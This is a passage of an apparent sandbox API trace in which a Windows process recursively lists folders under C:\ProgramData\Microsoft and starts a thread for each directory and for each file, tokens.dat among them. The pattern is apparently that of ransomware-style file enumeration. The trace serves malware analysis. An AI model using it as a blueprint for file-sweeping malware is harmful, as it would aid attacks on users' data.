ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeed38550, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UICaptions", cAlternateFileName="UICAPT~1")) returned 0 [0066.023] FindClose (hFindFile=0x4401e0) Thread: id = 160 os_tid = 0x660 [0046.161] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x78) returned 0x3fff98 [0046.161] wcscpy (in: _Dest=0x3fff98, _Source="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform" | out: _Dest="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform") returned="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform" [0046.161] wcscat (in: _Dest=0x3fff98, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\") returned="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\" [0046.161] wcscat (in: _Dest=0x3fff98, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\*") returned="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\*" [0046.162] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x428208 [0046.162] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\*", lpFindFileData=0x428208 | out: lpFindFileData=0x428208*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfa44d4a0, ftLastAccessTime.dwHighDateTime=0x1d305fd, ftLastWriteTime.dwLowDateTime=0xfa44d4a0, ftLastWriteTime.dwHighDateTime=0x1d305fd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x40a228 [0049.761] wcscmp (_String1=".", _String2=".") returned 0 [0049.761] FindNextFileW (in: hFindFile=0x40a228, lpFindFileData=0x428208 | out: lpFindFileData=0x428208*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfa44d4a0, ftLastAccessTime.dwHighDateTime=0x1d305fd, ftLastWriteTime.dwLowDateTime=0xfa44d4a0, ftLastWriteTime.dwHighDateTime=0x1d305fd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.762] wcscmp (_String1="..", _String2=".") returned 1 [0049.762] wcscmp (_String1="..", _String2="..") returned 0 [0049.762] FindNextFileW (in: hFindFile=0x40a228, lpFindFileData=0x428208 | out: lpFindFileData=0x428208*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8ab1ae70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x9de525d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9de525d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cache", cAlternateFileName="")) returned 1 [0049.762] wcscmp (_String1="Cache", _String2=".") returned 1 [0049.762] wcscmp (_String1="Cache", _String2="..") returned 1 [0049.762] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x80) returned 0x4476d8 [0049.762] wcscpy (in: _Dest=0x4476d8, _Source="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform" | out: _Dest="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform") returned="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform" [0049.762] wcscat (in: _Dest=0x4476d8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\") returned="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\" [0049.762] wcscat (in: _Dest=0x4476d8, _Source="Cache" | out: _Dest="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache") returned="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache" [0065.424] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x4476d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x374 [0065.425] FindNextFileW (in: hFindFile=0x40a228, lpFindFileData=0x428208 | out: lpFindFileData=0x428208*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8c015050, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfa44d4a0, ftLastAccessTime.dwHighDateTime=0x1d305fd, ftLastWriteTime.dwLowDateTime=0x63c5e40, ftLastWriteTime.dwHighDateTime=0x1d305fe, nFileSizeHigh=0x0, nFileSizeLow=0x469bd5, dwReserved0=0x0, dwReserved1=0x0, cFileName="tokens.dat", cAlternateFileName="")) returned 1 [0065.425] wcscmp (_String1="tokens.dat", _String2=".") returned 1 [0065.425] wcscmp (_String1="tokens.dat", _String2="..") returned 1 [0065.425] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8a) returned 0x97cdac0 [0065.425] wcscpy (in: _Dest=0x97cdac0, _Source="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform" | out: _Dest="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform") returned="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform" [0065.425] wcscat (in: _Dest=0x97cdac0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\") returned="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\" [0065.425] wcscat (in: _Dest=0x97cdac0, _Source="tokens.dat" | out: _Dest="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\tokens.dat") returned="C:\\ProgramData\\Microsoft\\OfficeSoftwareProtectionPlatform\\tokens.dat" [0065.425] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97cdac0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14cc [0065.426] FindNextFileW (in: hFindFile=0x40a228, lpFindFileData=0x428208 | out: lpFindFileData=0x428208*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8c015050, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfa44d4a0, ftLastAccessTime.dwHighDateTime=0x1d305fd, ftLastWriteTime.dwLowDateTime=0x63c5e40, ftLastWriteTime.dwHighDateTime=0x1d305fe, nFileSizeHigh=0x0, nFileSizeLow=0x469bd5, dwReserved0=0x0, dwReserved1=0x0, cFileName="tokens.dat", cAlternateFileName="")) returned 0 [0065.426] FindClose (in: hFindFile=0x40a228 | out: hFindFile=0x40a228) returned 1 [0065.427] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428208) returned 1 [0065.427] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x3fff98) returned 1 [0065.427] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x3ffe98) returned 1 Thread: id = 161 os_tid = 0x184 [0046.162] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x3e) returned 0x402960 [0046.162] wcscpy (in: _Dest=0x402960, _Source="C:\\ProgramData\\Microsoft\\RAC" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC") returned="C:\\ProgramData\\Microsoft\\RAC" [0046.162] wcscat (in: _Dest=0x402960, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC\\") returned="C:\\ProgramData\\Microsoft\\RAC\\" [0046.162] wcscat (in: _Dest=0x402960, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC\\*") returned="C:\\ProgramData\\Microsoft\\RAC\\*" [0046.162] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x428470 [0046.162] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\RAC\\*", lpFindFileData=0x428470 | out: lpFindFileData=0x428470*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409a68 [0046.163] wcscmp (_String1=".", _String2=".") returned 0 [0046.163] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x428470 | out: lpFindFileData=0x428470*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.163] wcscmp (_String1="..", _String2=".") returned 1 [0046.163] wcscmp (_String1="..", _String2="..") returned 0 [0046.163] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x428470 | out: lpFindFileData=0x428470*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd6e33921, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Outbound", cAlternateFileName="")) returned 1 [0046.163] wcscmp (_String1="Outbound", _String2=".") returned 1 [0046.163] wcscmp (_String1="Outbound", _String2="..") returned 1 [0046.163] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4c) returned 0x4147d8 [0046.163] wcscpy (in: _Dest=0x4147d8, _Source="C:\\ProgramData\\Microsoft\\RAC" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC") returned="C:\\ProgramData\\Microsoft\\RAC" [0046.163] wcscat (in: _Dest=0x4147d8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC\\") returned="C:\\ProgramData\\Microsoft\\RAC\\" [0046.163] wcscat (in: _Dest=0x4147d8, _Source="Outbound" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC\\Outbound") returned="C:\\ProgramData\\Microsoft\\RAC\\Outbound" [0046.163] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x4147d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e0 [0046.164] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x428470 | out: lpFindFileData=0x428470*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8b803ea0, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x8b803ea0, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublishedData", cAlternateFileName="PUBLIS~1")) returned 1 [0046.164] wcscmp (_String1="PublishedData", _String2=".") returned 1 [0046.164] wcscmp (_String1="PublishedData", _String2="..") returned 1 [0046.164] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x56) returned 0x44a010 [0046.164] wcscpy (in: _Dest=0x44a010, _Source="C:\\ProgramData\\Microsoft\\RAC" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC") returned="C:\\ProgramData\\Microsoft\\RAC" [0046.164] wcscat (in: _Dest=0x44a010, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC\\") returned="C:\\ProgramData\\Microsoft\\RAC\\" [0046.164] wcscat (in: _Dest=0x44a010, _Source="PublishedData" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC\\PublishedData") returned="C:\\ProgramData\\Microsoft\\RAC\\PublishedData" [0046.164] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x44a010, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d4 [0046.166] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x428470 | out: lpFindFileData=0x428470*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8b803ea0, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x8b803ea0, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="StateData", cAlternateFileName="STATED~1")) returned 1 [0046.166] wcscmp (_String1="StateData", _String2=".") returned 1 [0046.166] wcscmp (_String1="StateData", _String2="..") returned 1 [0046.166] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4e) returned 0x414830 [0046.166] wcscpy (in: _Dest=0x414830, _Source="C:\\ProgramData\\Microsoft\\RAC" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC") returned="C:\\ProgramData\\Microsoft\\RAC" [0046.166] wcscat (in: _Dest=0x414830, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC\\") returned="C:\\ProgramData\\Microsoft\\RAC\\" [0046.166] wcscat (in: _Dest=0x414830, _Source="StateData" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC\\StateData") returned="C:\\ProgramData\\Microsoft\\RAC\\StateData" [0046.167] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x414830, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c8 [0046.168] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x428470 | out: lpFindFileData=0x428470*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8b9ccf20, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x8b9ccf20, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1 [0046.168] wcscmp (_String1="Temp", _String2=".") returned 1 [0046.168] wcscmp (_String1="Temp", _String2="..") returned 1 [0046.168] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x44) returned 0x444fa0 [0046.168] wcscpy (in: _Dest=0x444fa0, _Source="C:\\ProgramData\\Microsoft\\RAC" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC") returned="C:\\ProgramData\\Microsoft\\RAC" [0046.168] wcscat (in: _Dest=0x444fa0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC\\") returned="C:\\ProgramData\\Microsoft\\RAC\\" [0046.168] wcscat (in: _Dest=0x444fa0, _Source="Temp" | out: _Dest="C:\\ProgramData\\Microsoft\\RAC\\Temp") returned="C:\\ProgramData\\Microsoft\\RAC\\Temp" [0046.168] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x444fa0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d8 [0046.169] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x428470 | out: lpFindFileData=0x428470*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8b9ccf20, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x8b9ccf20, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 0 [0046.169] FindClose (in: hFindFile=0x409a68 | out: hFindFile=0x409a68) returned 1 [0046.169] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428470) returned 1 [0046.169] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402960) returned 1 [0046.169] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402408) returned 1 Thread: id = 162 os_tid = 0x780 [0046.170] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x44) returned 0x444ff0 [0046.170] wcscpy (in: _Dest=0x444ff0, _Source="C:\\ProgramData\\Microsoft\\Search" | out: _Dest="C:\\ProgramData\\Microsoft\\Search") returned="C:\\ProgramData\\Microsoft\\Search" [0046.170] wcscat (in: _Dest=0x444ff0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\") returned="C:\\ProgramData\\Microsoft\\Search\\" [0046.170] wcscat (in: _Dest=0x444ff0, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\*") returned="C:\\ProgramData\\Microsoft\\Search\\*" [0046.170] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x428470 [0046.170] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Search\\*", lpFindFileData=0x428470 | out: lpFindFileData=0x428470*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27df8b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27df8b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27df8b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409fa8 [0049.785] wcscmp (_String1=".", _String2=".") returned 0 [0049.785] FindNextFileW (in: hFindFile=0x409fa8, lpFindFileData=0x428470 | out: lpFindFileData=0x428470*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27df8b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27df8b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27df8b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.785] wcscmp (_String1="..", _String2=".") returned 1 [0049.785] wcscmp (_String1="..", _String2="..") returned 0 [0049.785] FindNextFileW (in: hFindFile=0x409fa8, lpFindFileData=0x428470 | out: lpFindFileData=0x428470*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27df8b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27e6af80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27e6af80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Data", cAlternateFileName="")) returned 1 [0049.785] wcscmp (_String1="Data", _String2=".") returned 1 [0049.785] wcscmp (_String1="Data", _String2="..") returned 1 [0049.785] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4a) returned 0x413f40 [0049.785] wcscpy (in: _Dest=0x413f40, _Source="C:\\ProgramData\\Microsoft\\Search" | out: _Dest="C:\\ProgramData\\Microsoft\\Search") returned="C:\\ProgramData\\Microsoft\\Search" [0049.785] wcscat (in: _Dest=0x413f40, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\") returned="C:\\ProgramData\\Microsoft\\Search\\" [0049.785] wcscat (in: _Dest=0x413f40, _Source="Data" | out: _Dest="C:\\ProgramData\\Microsoft\\Search\\Data") returned="C:\\ProgramData\\Microsoft\\Search\\Data" [0055.576] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x413f40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d8 [0055.577] FindNextFileW (in: hFindFile=0x409fa8, lpFindFileData=0x428470 | out: lpFindFileData=0x428470*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27df8b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27e6af80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27e6af80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Data", cAlternateFileName="")) returned 0 [0055.577] FindClose (in: hFindFile=0x409fa8 | out: hFindFile=0x409fa8) returned 1 [0055.577] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428470) returned 1 [0055.577] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x444ff0) returned 1 [0055.577] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4026d8) returned 1 Thread: id = 163 os_tid = 0x240 [0046.170] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x62) returned 0x420fc8 [0046.171] wcscpy (in: _Dest=0x420fc8, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures" [0046.171] wcscat (in: _Dest=0x420fc8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\" [0046.171] wcscat (in: _Dest=0x420fc8, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\*") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\*" [0046.171] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x42d850 [0046.171] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\*", lpFindFileData=0x42d850 | out: lpFindFileData=0x42d850*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x29423840, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29423840, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409a68 [0046.171] wcscmp (_String1=".", _String2=".") returned 0 [0046.171] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x42d850 | out: lpFindFileData=0x42d850*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x29423840, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29423840, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.171] wcscmp (_String1="..", _String2=".") returned 1 [0046.171] wcscmp (_String1="..", _String2="..") returned 0 [0046.171] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x42d850 | out: lpFindFileData=0x42d850*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x29423840, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29423840, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29423840, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz.dat", cAlternateFileName="5P5NRG~1.DAT")) returned 1 [0046.171] wcscmp (_String1="5p5NrGJn0jS HALPmcxz.dat", _String2=".") returned 1 [0046.171] wcscmp (_String1="5p5NrGJn0jS HALPmcxz.dat", _String2="..") returned 1 [0046.171] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x90) returned 0x449ce8 [0046.171] wcscpy (in: _Dest=0x449ce8, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures" [0046.171] wcscat (in: _Dest=0x449ce8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\" [0046.171] wcscat (in: _Dest=0x449ce8, _Source="5p5NrGJn0jS HALPmcxz.dat" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\5p5NrGJn0jS HALPmcxz.dat") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\5p5NrGJn0jS HALPmcxz.dat" [0046.172] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x449ce8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b0 [0046.172] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x42d850 | out: lpFindFileData=0x42d850*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80366a76, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80366a76, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Default Pictures", cAlternateFileName="DEFAUL~1")) returned 1 [0046.172] wcscmp (_String1="Default Pictures", _String2=".") returned 1 [0046.172] wcscmp (_String1="Default Pictures", _String2="..") returned 1 [0046.172] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x80) returned 0x446880 [0046.172] wcscpy (in: _Dest=0x446880, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures" [0046.173] wcscat (in: _Dest=0x446880, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\" [0046.173] wcscat (in: _Dest=0x446880, _Source="Default Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\Default Pictures" [0046.173] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x446880, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1bc [0046.174] FindNextFileW (in: hFindFile=0x409a68, lpFindFileData=0x42d850 | out: lpFindFileData=0x42d850*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="guest.bmp", cAlternateFileName="")) returned 1 [0046.174] wcscmp (_String1="guest.bmp", _String2=".") returned 1 [0046.174] wcscmp (_String1="guest.bmp", _String2="..") returned 1 [0046.174] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x72) returned 0x400018 [0046.174] wcscpy (in: _Dest=0x400018, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures") returned="C:\\ProgramData\\Microsoft\\User Account Pictures" [0046.174] wcscat (in: _Dest=0x400018, _Source="\\" | out: 